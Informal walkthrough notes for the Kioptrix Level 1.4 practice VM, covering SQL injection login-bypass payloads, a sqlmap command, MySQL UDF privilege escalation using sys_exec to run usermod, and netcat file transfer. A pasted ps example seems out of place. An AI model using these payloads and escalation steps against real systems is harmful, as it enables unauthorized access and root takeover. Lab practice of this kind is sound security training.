VMW- Kioptix level 1.4 UDF. Running o/s cmds from SQL

Walkthru @ 1. http://www.gcura.tech/kioptrix-level-1-3-4/

1. Ports : 22,80,139 and 445

• OpenSSH v4.7p1
• Port 80 with Apache 2.2.8 / PHP/5.2.4 with Suhosin-Patch
• Samba 3.0.28a
• Linux 2.6.9 – 2.6.33

2. URL appears to be SQL vulnerable to an SQL injection by putting a comma ' in the username and password fields
1. I will input john in the username field and 1' or '1'='1 in the password field. Now the SQL query will something like this in the back end:

SELECT * FROM users where username='john' and password='1' or '1'='1'

2. Also works if we use admin' or '1'='1 as password

3. sqlmap -u "http://192.168.182.154/checklogin.php" --dbms=MySQL --data="myusername=username&mypassword=password" --level=5 --risk=3 --dbs

From <http://www.gcura.tech/kioptrix-level-1-3-4/>

Didn’t work for me.

1. ps -ef | grep root : to list all the processes.

Note the use of the -e option to display all processes, and -f to display the full format. Another useful option is -u, which allows you to filter the processes displayed by user ID. For example, to display all the processes owned by the user root, run a command like this:

$ ps -u root -o user,pid,cpu,cmd
USER       PID   CPU CMD
root         1   -   /usr/lib/systemd/systemd --switched-root --system --deserialize 24
root         2   -   [kthreadd]
root         4   -   [kworker/0:0H]
root         6   -   [mm_percpu_wq]
root         7   -   [ksoftirqd/0]

2. I can see that MySQL is running with root privileges. Since I have ssh access to the machine lets see if I find the database credentials by accessing the configuration files.

What I will be attempting is since we have root access on MySQL we can execute commands(on the operating system itself) using User Defined Functions.  [Looked up these tutorials which helped me out with understanding MySQL UDF more. MySQL Root to System Root with lib_mysqludf_sys for Windows and Linux and Command execution with a MySQL UDF] or [http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html]

$ whereis lib_mysqludf_sys.so

3. mysql> select sys_exec('usermod -a -G admin john');
4. Using sys_exec I was able to run usermod which added john to the admin group and then ran sudo su to get the root shell.
5. This pc has netcat if you need to copy linuxprivchecker file. I couldn’t wget it from Kali. It would connect to the server and not download it.

On the receiving end running, it will begin listening on port 1234.

>nc -l -p 1234 > out.file

On the sending end running,

>nc -w 3 [destination] 1234 < out.file